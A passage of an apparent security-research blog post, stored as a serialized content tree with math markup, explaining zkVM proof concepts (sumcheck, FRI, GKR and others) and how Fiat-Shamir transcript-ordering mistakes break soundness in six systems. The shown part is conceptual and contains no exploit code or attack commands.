non-interactive.",{"type":24,"tag":2678,"props":113508,"children":113509},{},[113510,113515],{"type":24,"tag":10949,"props":113511,"children":113512},{},[113513],{"type":29,"value":113514},"Transcript",{"type":29,"value":113516},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":2678,"props":113518,"children":113519},{},[113520,113525],{"type":24,"tag":10949,"props":113521,"children":113522},{},[113523],{"type":29,"value":113524},"Polynomial Commitment",{"type":29,"value":113526},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":2678,"props":113528,"children":113529},{},[113530,113535],{"type":24,"tag":10949,"props":113531,"children":113532},{},[113533],{"type":29,"value":113534},"Sumcheck",{"type":29,"value":113536},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":2678,"props":113538,"children":113539},{},[113540,113545],{"type":24,"tag":10949,"props":113541,"children":113542},{},[113543],{"type":29,"value":113544},"MLE (Multilinear Extension)",{"type":29,"value":113546},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":2678,"props":113548,"children":113549},{},[113550,113555],{"type":24,"tag":10949,"props":113551,"children":113552},{},[113553],{"type":29,"value":113554},"Lookup / LogUp",{"type":29,"value":113556},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":2678,"props":113558,"children":113559},{},[113560,113565],{"type":24,"tag":10949,"props":113561,"children":113562},{},[113563],{"type":29,"value":113564},"AIR",{"type":29,"value":113566},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":2678,"props":113568,"children":113569},{},[113570,113575],{"type":24,"tag":10949,"props":113571,"children":113572},{},[113573],{"type":29,"value":113574},"STARK",{"type":29,"value":113576},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":2678,"props":113578,"children":113579},{},[113580,113585],{"type":24,"tag":10949,"props":113581,"children":113582},{},[113583],{"type":29,"value":113584},"FRI",{"type":29,"value":113586},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":2678,"props":113588,"children":113589},{},[113590,113595],{"type":24,"tag":10949,"props":113591,"children":113592},{},[113593],{"type":29,"value":113594},"OODS",{"type":29,"value":113596},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":2678,"props":113598,"children":113599},{},[113600,113605],{"type":24,"tag":10949,"props":113601,"children":113602},{},[113603],{"type":29,"value":113604},"GKR",{"type":29,"value":113606},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":2678,"props":113608,"children":113609},{},[113610,113615,113617],{"type":24,"tag":10949,"props":113611,"children":113612},{},[113613],{"type":29,"value":113614},"claimed_sum / opening_claim",{"type":29,"value":113616},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":10949,"props":113618,"children":113619},{},[113620],{"type":29,"value":113621},"These are the usual suspects for binding bugs.",{"type":24,"tag":2665,"props":113623,"children":113624},{},[],{"type":24,"tag":32,"props":113626,"children":113628},{"id":113627},"what-are-we-even-breaking",[113629],{"type":29,"value":113630},"What Are We Even Breaking?",{"type":24,"tag":43,"props":113632,"children":113634},{"id":113633},"what-is-a-zkvm",[113635],{"type":29,"value":113636},"What is a zkVM?",{"type":24,"tag":25,"props":113638,"children":113639},{},[113640],{"type":29,"value":113641},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":25,"props":113643,"children":113644},{},[113645,113647,113672],{"type":29,"value":113646},"Formally, the verifier is convinced that there exists a valid trace ",{"type":24,"tag":80,"props":113648,"children":113650},{"className":113649},[9607,9608],[113651],{"type":24,"tag":147,"props":113652,"children":113654},{"className":113653},[9613],[113655],{"type":24,"tag":147,"props":113656,"children":113658},{"className":113657,"ariaHidden":9619},[9618],[113659],{"type":24,"tag":147,"props":113660,"children":113662},{"className":113661},[9624],[113663,113667],{"type":24,"tag":147,"props":113664,"children":113666},{"className":113665,"style":27185},[9629],[],{"type":24,"tag":147,"props":113668,"children":113670},{"className":113669,"style":27191},[9635,27190],[113671],{"type":29,"value":11612},{"type":29,"value":113673}," such that:",{"type":24,"tag":25,"props":113675,"children":113676},{},[113677],{"type":24,"tag":80,"props":113678,"children":113680},{"className":113679},[9607,9608],[113681],{"type":24,"tag":147,"props":113682,"children":113684},{"className":113683},[9613],[113685],{"type":24,"tag":147,"props":113686,"children":113688},{"className":113687,"ariaHidden":9619},[9618],[113689,113733,113808],{"type":24,"tag":147,"props":113690,"children":113692},{"className":113691},[9624],[113693,113697,113703,113707,113712,113716,113720,113725,113729],{"type":24,"tag":147,"props":113694,"children":113696},{"className":113695,"style":98545},[9629],[],{"type":24,"tag":147,"props":113698,"children":113700},{"className":113699},[9635],[113701],{"type":29,"value":113702},"∃",{"type":24,"tag":147,"props":113704,"children":113706},{"className":113705,"style":9812},[9714],[],{"type":24,"tag":147,"props":113708,"children":113710},{"className":113709,"style":27191},[9635,27190],[113711],{"type":29,"value":11612},{"type":24,"tag":147,"props":113713,"children":113715},{"className":113714,"style":9812},[9714],[],{"type":24,"tag":147,"props":113717,"children":113719},{"className":113718,"style":9812},[9714],[],{"type":24,"tag":147,"props":113721,"children":113723},{"className":113722},[9817],[113724],{"type":29,"value":978},{"type":24,"tag":147,"props":113726,"children":113728},{"className":113727,"style":9812},[9714],[],{"type":24,"tag":147,"props":113730,"children":113732},{"className":113731,"style":9812},[9714],[],{"type":24,"tag":147,"props":113734,"children":113736},{"className":113735},[9624],[113737,113741,113752,113757,113762,113767,113771,113776,113781,113785,113790,113795,113799,113804],{"type":24,"tag":147,"props":113738,"children":113740},{"className":113739,"style":9735},[9629],[],{"type":24,"tag":147,"props":113742,"children":113744},{"className":113743},[9635],[113745],{"type":24,"tag":147,"props":113746,"children":113749},{"className":113747},[9635,113748],"mathsf",[113750],{"type":29,"value":113751},"VM",{"type":24,"tag":147,"props":113753,"children":113755},{"className":113754},[27319],[113756],{"type":29,"value":480},{"type":24,"tag":147,"props":113758,"children":113760},{"className":113759,"style":27191},[9635,27190],[113761],{"type":29,"value":27194},{"type":24,"tag":147,"props":113763,"children":113765},{"className":113764},[9746],[113766],{"type":29,"value":9749},{"type":24,"tag":147,"props":113768,"children":113770},{"className":113769,"style":9753},[9714],[],{"type":24,"tag":147,"props":113772,"children":113774},{"className":113773,"style":100650},[9635,27190],[113775],{"type":29,"value":11758},{"type":24,"tag":147,"props":113777,"children":113779},{"className":113778},[9746],[113780],{"type":29,"value":9749},{"type":24,"tag":147,"props":113782,"children":113784},{"className":113783,"style":9753},[9714],[],{"type":24,"tag":147,"props":113786,"children":113788},{"className":113787,"style":27191},[9635,27190],[113789],{"type":29,"value":11612},{"type":24,"tag":147,"props":113791,"children":113793},{"className":113792},[27341],[113794],{"type":29,"value":8758},{"type":24,"tag":147,"props":113796,"children":113798},{"className":113797,"style":9812},[9714],[],{"type":24,"tag":147,"props":113800,"children":113802},{"className":113801},[9817],[113803],{"type":29,"value":27936},{"type":24,"tag":147,"props":113805,"children":113807},{"className":113806,"style":9812},[9714],[],{"type":24,"tag":147,"props":113809,"children":113811},{"className":113810},[9624],[113812,113816],{"type":24,"tag":147,"props":113813,"children":113815},{"className":113814,"style":27185},[9629],[],{"type":24,"tag":147,"props":113817,"children":113820},{"className":113818,"style":113819},[9635,27190],"margin-right:0.22222em;",[113821],{"type":29,"value":11788},{"type":24,"tag":25,"props":113823,"children":113824},{},[113825],{"type":29,"value":113826},"where:",{"type":24,"tag":22292,"props":113828,"children":113829},{},[113830,113860,113890,113920],{"type":24,"tag":2678,"props":113831,"children":113832},{},[113833,113858],{"type":24,"tag":80,"props":113834,"children":113836},{"className":113835},[9607,9608],[113837],{"type":24,"tag":147,"props":113838,"children":113840},{"className":113839},[9613],[113841],{"type":24,"tag":147,"props":113842,"children":113844},{"className":113843,"ariaHidden":9619},[9618],[113845],{"type":24,"tag":147,"props":113846,"children":113848},{"className":113847},[9624],[113849,113853],{"type":24,"tag":147,"props":113850,"children":113852},{"className":113851,"style":27185},[9629],[],{"type":24,"tag":147,"props":113854,"children":113856},{"className":113855,"style":27191},[9635,27190],[113857],{"type":29,"value":27194},{"type":29,"value":113859}," = program/circuit description (public)",{"type":24,"tag":2678,"props":113861,"children":113862},{},[113863,113888],{"type":24,"tag":80,"props":113864,"children":113866},{"className":113865},[9607,9608],[113867],{"type":24,"tag":147,"props":113868,"children":113870},{"className":113869},[9613],[113871],{"type":24,"tag":147,"props":113872,"children":113874},{"className":113873,"ariaHidden":9619},[9618],[113875],{"type":24,"tag":147,"props":113876,"children":113878},{"className":113877},[9624],[113879,113883],{"type":24,"tag":147,"props":113880,"children":113882},{"className":113881,"style":27185},[9629],[],{"type":24,"tag":147,"props":113884,"children":113886},{"className":113885,"style":100650},[9635,27190],[113887],{"type":29,"value":11758},{"type":29,"value":113889}," = public input",{"type":24,"tag":2678,"props":113891,"children":113892},{},[113893,113918],{"type":24,"tag":80,"props":113894,"children":113896},{"className":113895},[9607,9608],[113897],{"type":24,"tag":147,"props":113898,"children":113900},{"className":113899},[9613],[113901],{"type":24,"tag":147,"props":113902,"children":113904},{"className":113903,"ariaHidden":9619},[9618],[113905],{"type":24,"tag":147,"props":113906,"children":113908},{"className":113907},[9624],[113909,113913],{"type":24,"tag":147,"props":113910,"children":113912},{"className":113911,"style":27185},[9629],[],{"type":24,"tag":147,"props":113914,"children":113916},{"className":113915,"style":113819},[9635,27190],[113917],{"type":29,"value":11788},{"type":29,"value":113919}," = claimed public output",{"type":24,"tag":2678,"props":113921,"children":113922},{},[113923,113948],{"type":24,"tag":80,"props":113924,"children":113926},{"className":113925},[9607,9608],[113927],{"type":24,"tag":147,"props":113928,"children":113930},{"className":113929},[9613],[113931],{"type":24,"tag":147,"props":113932,"children":113934},{"className":113933,"ariaHidden":9619},[9618],[113935],{"type":24,"tag":147,"props":113936,"children":113938},{"className":113937},[9624],[113939,113943],{"type":24,"tag":147,"props":113940,"children":113942},{"className":113941,"style":27185},[9629],[],{"type":24,"tag":147,"props":113944,"children":113946},{"className":113945,"style":27191},[9635,27190],[113947],{"type":29,"value":11612},{"type":29,"value":113949}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":25,"props":113951,"children":113952},{},[113953,113955,113959],{"type":29,"value":113954},"The verifier does ",{"type":24,"tag":10949,"props":113956,"children":113957},{},[113958],{"type":29,"value":24096},{"type":29,"value":113960}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":25,"props":113962,"children":113963},{},[113964,113966,113971],{"type":29,"value":113965},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":10949,"props":113967,"children":113968},{},[113969],{"type":29,"value":113970},"soundness",{"type":29,"value":978},{"type":24,"tag":22292,"props":113973,"children":113974},{},[113975,113985],{"type":24,"tag":2678,"props":113976,"children":113977},{},[113978,113983],{"type":24,"tag":10949,"props":113979,"children":113980},{},[113981],{"type":29,"value":113982},"Completeness",{"type":29,"value":113984},": honest execution verifies.",{"type":24,"tag":2678,"props":113986,"children":113987},{},[113988,113993],{"type":24,"tag":10949,"props":113989,"children":113990},{},[113991],{"type":29,"value":113992},"Soundness",{"type":29,"value":113994},": false execution should not verify.",{"type":24,"tag":25,"props":113996,"children":113997},{},[113998,114000,114004],{"type":29,"value":113999},"We are breaking ",{"type":24,"tag":10949,"props":114001,"children":114002},{},[114003],{"type":29,"value":113970},{"type":29,"value":114005}," in all six systems.",{"type":24,"tag":25,"props":114007,"children":114008},{},[114009],{"type":29,"value":114010},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":2674,"props":114012,"children":114013},{},[114014,114019,114024,114029,114034,114039],{"type":24,"tag":2678,"props":114015,"children":114016},{},[114017],{"type":29,"value":114018},"Fix public statement data.",{"type":24,"tag":2678,"props":114020,"children":114021},{},[114022],{"type":29,"value":114023},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":2678,"props":114025,"children":114026},{},[114027],{"type":29,"value":114028},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":2678,"props":114030,"children":114031},{},[114032],{"type":29,"value":114033},"Check constraint equations at sampled points.",{"type":24,"tag":2678,"props":114035,"children":114036},{},[114037],{"type":29,"value":114038},"Check PCS/opening consistency.",{"type":24,"tag":2678,"props":114040,"children":114041},{},[114042],{"type":29,"value":114043},"Accept only if all checks are jointly consistent.",{"type":24,"tag":25,"props":114045,"children":114046},{},[114047],{"type":24,"tag":63,"props":114048,"children":114051},{"alt":114049,"src":114050},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":25,"props":114053,"children":114054},{},[114055],{"type":29,"value":114056},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":2665,"props":114058,"children":114059},{},[],{"type":24,"tag":32,"props":114061,"children":114063},{"id":114062},"the-building-blocks",[114064],{"type":29,"value":114065},"The Building Blocks",{"type":24,"tag":25,"props":114067,"children":114068},{},[114069],{"type":29,"value":114070},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":43,"props":114072,"children":114074},{"id":114073},"the-fiat-shamir-transform",[114075],{"type":29,"value":114076},"The Fiat-Shamir Transform",{"type":24,"tag":25,"props":114078,"children":114079},{},[114080],{"type":29,"value":114081},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":25,"props":114083,"children":114084},{},[114085],{"type":29,"value":114086},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":25,"props":114088,"children":114089},{},[114090],{"type":24,"tag":63,"props":114091,"children":114094},{"alt":114092,"src":114093},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":25,"props":114096,"children":114097},{},[114098,114100,114104,114106,114111],{"type":29,"value":114099},"The hash (transcript) ",{"type":24,"tag":10949,"props":114101,"children":114102},{},[114103],{"type":29,"value":12145},{"type":29,"value":114105}," include everything that affects verification ",{"type":24,"tag":10949,"props":114107,"children":114108},{},[114109],{"type":29,"value":114110},"BEFORE",{"type":29,"value":114112}," the challenges derived from it are used.",{"type":24,"tag":25,"props":114114,"children":114115},{},[114116,114118,114144,114146,114171,114173,114198,114200,114225,114227,114252],{"type":29,"value":114117},"If some value ",{"type":24,"tag":80,"props":114119,"children":114121},{"className":114120},[9607,9608],[114122],{"type":24,"tag":147,"props":114123,"children":114125},{"className":114124},[9613],[114126],{"type":24,"tag":147,"props":114127,"children":114129},{"className":114128,"ariaHidden":9619},[9618],[114130],{"type":24,"tag":147,"props":114131,"children":114133},{"className":114132},[9624],[114134,114138],{"type":24,"tag":147,"props":114135,"children":114137},{"className":114136,"style":27185},[9629],[],{"type":24,"tag":147,"props":114139,"children":114141},{"className":114140,"style":113819},[9635,27190],[114142],{"type":29,"value":114143},"V",{"type":29,"value":114145}," affects a verification equation, but ",{"type":24,"tag":80,"props":114147,"children":114149},{"className":114148},[9607,9608],[114150],{"type":24,"tag":147,"props":114151,"children":114153},{"className":114152},[9613],[114154],{"type":24,"tag":147,"props":114155,"children":114157},{"className":114156,"ariaHidden":9619},[9618],[114158],{"type":24,"tag":147,"props":114159,"children":114161},{"className":114160},[9624],[114162,114166],{"type":24,"tag":147,"props":114163,"children":114165},{"className":114164,"style":27185},[9629],[],{"type":24,"tag":147,"props":114167,"children":114169},{"className":114168,"style":113819},[9635,27190],[114170],{"type":29,"value":114143},{"type":29,"value":114172}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":80,"props":114174,"children":114176},{"className":114175},[9607,9608],[114177],{"type":24,"tag":147,"props":114178,"children":114180},{"className":114179},[9613],[114181],{"type":24,"tag":147,"props":114182,"children":114184},{"className":114183,"ariaHidden":9619},[9618],[114185],{"type":24,"tag":147,"props":114186,"children":114188},{"className":114187},[9624],[114189,114193],{"type":24,"tag":147,"props":114190,"children":114192},{"className":114191,"style":27185},[9629],[],{"type":24,"tag":147,"props":114194,"children":114196},{"className":114195,"style":113819},[9635,27190],[114197],{"type":29,"value":114143},{"type":29,"value":114199},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":80,"props":114201,"children":114203},{"className":114202},[9607,9608],[114204],{"type":24,"tag":147,"props":114205,"children":114207},{"className":114206},[9613],[114208],{"type":24,"tag":147,"props":114209,"children":114211},{"className":114210,"ariaHidden":9619},[9618],[114212],{"type":24,"tag":147,"props":114213,"children":114215},{"className":114214},[9624],[114216,114220],{"type":24,"tag":147,"props":114217,"children":114219},{"className":114218,"style":27185},[9629],[],{"type":24,"tag":147,"props":114221,"children":114223},{"className":114222,"style":113819},[9635,27190],[114224],{"type":29,"value":114143},{"type":29,"value":114226},", which may allow it to choose ",{"type":24,"tag":80,"props":114228,"children":114230},{"className":114229},[9607,9608],[114231],{"type":24,"tag":147,"props":114232,"children":114234},{"className":114233},[9613],[114235],{"type":24,"tag":147,"props":114236,"children":114238},{"className":114237,"ariaHidden":9619},[9618],[114239],{"type":24,"tag":147,"props":114240,"children":114242},{"className":114241},[9624],[114243,114247],{"type":24,"tag":147,"props":114244,"children":114246},{"className":114245,"style":27185},[9629],[],{"type":24,"tag":147,"props":114248,"children":114250},{"className":114249,"style":113819},[9635,27190],[114251],{"type":29,"value":114143},{"type":29,"value":114253}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":25,"props":114255,"children":114256},{},[114257],{"type":29,"value":114258},"This is the bug class we found in all six systems.",{"type":24,"tag":43,"props":114260,"children":114262},{"id":114261},"the-sumcheck-protocol",[114263],{"type":29,"value":114264},"The Sumcheck Protocol",{"type":24,"tag":25,"props":114266,"children":114267},{},[114268,114270,114356],{"type":29,"value":114269},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":24,"tag":80,"props":114271,"children":114273},{"className":114272},[9607,9608],[114274],{"type":24,"tag":147,"props":114275,"children":114277},{"className":114276},[9613],[114278],{"type":24,"tag":147,"props":114279,"children":114281},{"className":114280,"ariaHidden":9619},[9618],[114282],{"type":24,"tag":147,"props":114283,"children":114285},{"className":114284},[9624],[114286,114290,114295,114300,114305,114309,114314],{"type":24,"tag":147,"props":114287,"children":114289},{"className":114288,"style":9735},[9629],[],{"type":24,"tag":147,"props":114291,"children":114293},{"className":114292},[27319],[114294],{"type":29,"value":82202},{"type":24,"tag":147,"props":114296,"children":114298},{"className":114297},[9635],[114299],{"type":29,"value":3173},{"type":24,"tag":147,"props":114301,"children":114303},{"className":114302},[9746],[114304],{"type":29,"value":9749},{"type":24,"tag":147,"props":114306,"children":114308},{"className":114307,"style":9753},[9714],[],{"type":24,"tag":147,"props":114310,"children":114312},{"className":114311},[9635],[114313],{"type":29,"value":1154},{"type":24,"tag":147,"props":114315,"children":114317},{"className":114316},[27341],[114318,114323],{"type":24,"tag":147,"props":114319,"children":114321},{"className":114320},[27341],[114322],{"type":29,"value":39741},{"type":24,"tag":147,"props":114324,"children":114326},{"className":114325},[9650],[114327],{"type":24,"tag":147,"props":114328,"children":114330},{"className":114329},[9655],[114331],{"type":24,"tag":147,"props":114332,"children":114334},{"className":114333},[9660],[114335],{"type":24,"tag":147,"props":114336,"children":114339},{"className":114337,"style":114338},[9665],"height:0.6644em;",[114340],{"type":24,"tag":147,"props":114341,"children":114342},{"style":9669},[114343,114347],{"type":24,"tag":147,"props":114344,"children":114346},{"className":114345,"style":9675},[9674],[],{"type":24,"tag":147,"props":114348,"children":114350},{"className":114349},[9680,9681,9682,9683],[114351],{"type":24,"tag":147,"props":114352,"children":114354},{"className":114353},[9635,27190,9683],[114355],{"type":29,"value":61991},{"type":29,"value":114357},"), i.e the claim:",{"type":24,"tag":25,"props":114359,"children":114360},{},[114361],{"type":24,"tag":80,"props":114362,"children":114364},{"className":114363},[9607,9608],[114365],{"type":24,"tag":147,"props":114366,"children":114368},{"className":114367},[9613],[114369],{"type":24,"tag":147,"props":114370,"children":114372},{"className":114371,"ariaHidden":9619},[9618],[114373,114399],{"type":24,"tag":147,"props":114374,"children":114376},{"className":114375},[9624],[114377,114381,114386,114390,114395],{"type":24,"tag":147,"props":114378,"children":114380},{"className":114379,"style":27185},[9629],[],{"type":24,"tag":147,"props":114382,"children":114384},{"className":114383,"style":98864},[9635,27190],[114385],{"type":29,"value":98867},{"type":24,"tag":147,"props":114387,"children":114389},{"className":114388,"style":9812},[9714],[],{"type":24,"tag":147,"props":114391,"children":114393},{"className":114392},[9817],[114394],{"type":29,"value":369},{"type":24,"tag":147,"props":114396,"children":114398},{"className":114397,"style":9812},[9714],[],{"type":24,"tag":147,"props":114400,"children":114402},{"className":114401},[9624],[114403,114407,114557,114561,114704,114708,114715,114719,114863,114867,114873,114878,114935,114940,114944,115001,115006,115010,115016,115020,115025,115029,115087],{"type":24,"tag":147,"props":114404,"children":114406},{"className":114405,"style":27221},[9629],[],{"type":24,"tag":147,"props":114408,"children":114410},{"className":114409},[27226],[114411,114417],{"type":24,"tag":147,"props":114412,"children":114414},{"className":114413,"style":27233},[27226,27231,27232],[114415],{"type":29,"value":114416},"∑",{"type":24,"tag":147,"props":114418,"children":114420},{"className":114419},[9650],[114421],{"type":24,"tag":147,"props":114422,"children":114424},{"className":114423},[9655,27244],[114425,114546],{"type":24,"tag":147,"props":114426,"children":114428},{"className":114427},[9660],[114429,114541],{"type":24,"tag":147,"props":114430,"children":114432},{"className":114431,"style":27253},[9665],[114433],{"type":24,"tag":147,"props":114434,"children":114435},{"style":27257},[114436,114440],{"type":24,"tag":147,"props":114437,"children":114439},{"className":114438,"style":9675},[9674],[],{"type":24,"tag":147,"props":114441,"children":114443},{"className":114442},[9680,9681,9682,9683],[114444],{"type":24,"tag":147,"props":114445,"children":114447},{"className":114446},[9635,9683],[114448,114511,114516,114521,114526,114531,114536],{"type":24,"tag":147,"props":114449,"children":114451},{"className":114450},[9635,9683],[114452,114457],{"type":24,"tag":147,"props":114453,"children":114455},{"className":114454},[9635,27190,9683],[114456],{"type":29,"value":24880},{"type":24,"tag":147,"props":114458,"children":114460},{"className":114459},[9650],[114461],{"type":24,"tag":147,"props":114462,"children":114464},{"className":114463},[9655,27244],[114465,114499],{"type":24,"tag":147,"props":114466,"children":114468},{"className":114467},[9660],[114469,114494],{"type":24,"tag":147,"props":114470,"children":114473},{"className":114471,"style":114472},[9665],"height:0.3173em;",[114474],{"type":24,"tag":147,"props":114475,"children":114477},{"style":114476},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[114478,114483],{"type":24,"tag":147,"props":114479,"children":114482},{"className":114480,"style":114481},[9674],"height:2.5em;",[],{"type":24,"tag":147,"props":114484,"children":114488},{"className":114485},[9680,114486,114487,9683],"reset-size3","size1",[114489],{"type":24,"tag":147,"props":114490,"children":114492},{"className":114491},[9635,9683],[114493],{"type":29,"value":1154},{"type":24,"tag":147,"props":114495,"children":114497},{"className":114496},[27347],[114498],{"type":29,"value":27350},{"type":24,"tag":147,"props":114500,"children":114502},{"className":114501},[9660],[114503],{"type":24,"tag":147,"props":114504,"children":114507},{"className":114505,"style":114506},[9665],"height:0.143em;",[114508],{"type":24,"tag":147,"props":114509,"children":114510},{},[],{"type":24,"tag":147,"props":114512,"children":114514},{"className":114513},[9817,9683],[114515],{"type":29,"value":27297},{"type":24,"tag":147,"props":114517,"children":114519},{"className":114518},[27319,9683],[114520],{"type":29,"value":82202},{"type":24,"tag":147,"props":114522,"children":114524},{"className":114523},[9635,9683],[114525],{"type":29,"value":3173},{"type":24,"tag":147,"props":114527,"children":114529},{"className":114528},[9746,9683],[114530],{"type":29,"value":9749},{"type":24,"tag":147,"props":114532,"children":114534},{"className":114533},[9635,9683],[114535],{"type":29,"value":1154},{"type":24,"tag":147,"props":114537,"children":114539},{"className":114538},[27341,9683],[114540],{"type":29,"value":39741},{"type":24,"tag":147,"props":114542,"children":114544},{"className":114543},[27347],[114545],{"type":29,"value":27350},{"type":24,"tag":147,"props":114547,"children":114549},{"className":114548},[9660],[114550],{"type":24,"tag":147,"props":114551,"children":114553},{"className":114552,"style":27358},[9665],[114554],{"type":24,"tag":147,"props":114555,"children":114556},{},[],{"type":24,"tag":147,"props":114558,"children":114560},{"className":114559,"style":9753},[9714],[],{"type":24,"tag":147,"props":114562,"children":114564},{"className":114563},[27226],[114565,114570],{"type":24,"tag":147,"props":114566,"children":114568},{"className":114567,"style":27233},[27226,27231,27232],[114569],{"type":29,"value":114416},{"type":24,"tag":147,"props":114571,"children":114573},{"className":114572},[9650],[114574],{"type":24,"tag":147,"props":114575,"children":114577},{"className":114576},[9655,27244],[114578,114693],{"type":24,"tag":147,"props":114579,"children":114581},{"className":114580},[9660],[114582,114688],{"type":24,"tag":147,"props":114583,"children":114585},{"className":114584,"style":27253},[9665],[114586],{"type":24,"tag":147,"props":114587,"children":114588},{"style":27257},[114589,114593],{"type":24,"tag":147,"props":114590,"children":114592},{"className":114591,"style":9675},[9674],[],{"type":24,"tag":147,"props":114594,"children":114596},{"className":114595},[9680,9681,9682,9683],[114597],{"type":24,"tag":147,"props":114598,"children":114600},{"className":114599},[9635,9683],[114601,114658,114663,114668,114673,114678,114683],{"type":24,"tag":147,"props":114602,"children":114604},{"className":114603},[9635,9683],[114605,114610],{"type":24,"tag":147,"props":114606,"children":114608},{"className":114607},[9635,27190,9683],[114609],{"type":29,"value":24880},{"type":24,"tag":147,"props":114611,"children":114613},{"className":114612},[9650],[114614],{"type":24,"tag":147,"props":114615,"children":114617},{"className":114616},[9655,27244],[114618,114647],{"type":24,"tag":147,"props":114619,"children":114621},{"className":114620},[9660],[114622,114642],{"type":24,"tag":147,"props":114623,"children":114625},{"className":114624,"style":114472},[9665],[114626],{"type":24,"tag":147,"props":114627,"children":114628},{"style":114476},[114629,114633],{"type":24,"tag":147,"props":114630,"children":114632},{"className":114631,"style":114481},[9674],[],{"type":24,"tag":147,"props":114634,"children":114636},{"className":114635},[9680,114486,114487,9683],[114637],{"type":24,"tag":147,"props":114638,"children":114640},{"className":114639},[9635,9683],[114641],{"type":29,"value":8753},{"type":24,"tag":147,"props":114643,"children":114645},{"className":114644},[27347],[114646],{"type":29,"value":27350},{"type":24,"tag":147,"props":114648,"children":114650},{"className":114649},[9660],[114651],{"type":24,"tag":147,"props":114652,"children":114654},{"className":114653,"style":114506},[9665],[114655],{"type":24,"tag":147,"props":114656,"children":114657},{},[],{"type":24,"tag":147,"props":114659,"children":114661},{"className":114660},[9817,9683],[114662],{"type":29,"value":27297},{"type":24,"tag":147,"props":114664,"children":114666},{"className":114665},[27319,9683],[114667],{"type":29,"value":82202},{"type":24,"tag":147,"props":114669,"children":114671},{"className":114670},[9635,9683],[114672],{"type":29,"value":3173},{"type":24,"tag":147,"props":114674,"children":114676},{"className":114675},[9746,9683],[114677],{"type":29,"value":9749},{"type":24,"tag":147,"props":114679,"children":114681},{"className":114680},[9635,9683],[114682],{"type":29,"value":1154},{"type":24,"tag":147,"props":114684,"children":114686},{"className":114685},[27341,9683],[114687],{"type":29,"value":39741},{"type":24,"tag":147,"props":114689,"children":114691},{"className":114690},[27347],[114692],{"type":29,"value":27350},{"type":24,"tag":147,"props":114694,"children":114696},{"className":114695},[9660],[114697],{"type":24,"tag":147,"props":114698,"children":114700},{"className":114699,"style":27358},[9665],[114701],{"type":24,"tag":147,"props":114702,"children":114703},{},[],{"type":24,"tag":147,"props":114705,"children":114707},{"className":114706,"style":9753},[9714],[],{"type":24,"tag":147,"props":114709,"children":114712},{"className":114710},[114711],"minner",[114713],{"type":29,"value":114714},"⋯",{"type":24,"tag":147,"props":114716,"children":114718},{"className":114717,"style":9753},[9714],[],{"type":24,"tag":147,"props":114720,"children":114722},{"className":114721},[27226],[114723,114728],{"type":24,"tag":147,"props":114724,"children":114726},{"className":114725,"style":27233},[27226,27231,27232],[114727],{"type":29,"value":114416},{"type":24,"tag":147,"props":114729,"children":114731},{"className":114730},[9650],[114732],{"type":24,"tag":147,"props":114733,"children":114735},{"className":114734},[9655,27244],[114736,114852],{"type":24,"tag":147,"props":114737,"children":114739},{"className":114738},[9660],[114740,114847],{"type":24,"tag":147,"props":114741,"children":114743},{"className":114742,"style":27253},[9665],[114744],{"type":24,"tag":147,"props":114745,"children":114746},{"style":27257},[114747,114751],{"type":24,"tag":147,"props":114748,"children":114750},{"className":114749,"style":9675},[9674],[],{"type":24,"tag":147,"props":114752,"children":114754},{"className":114753},[9680,9681,9682,9683],[114755],{"type":24,"tag":147,"props":114756,"children":114758},{"className":114757},[9635,9683],[114759,114817,114822,114827,114832,114837,114842],{"type":24,"tag":147,"props":114760,"children":114762},{"className":114761},[9635,9683],[114763,114768],{"type":24,"tag":147,"props":114764,"children":114766},{"className":114765},[9635,27190,9683],[114767],{"type":29,"value":24880},{"type":24,"tag":147,"props":114769,"children":114771},{"className":114770},[9650],[114772],{"type":24,"tag":147,"props":114773,"children":114775},{"className":114774},[9655,27244]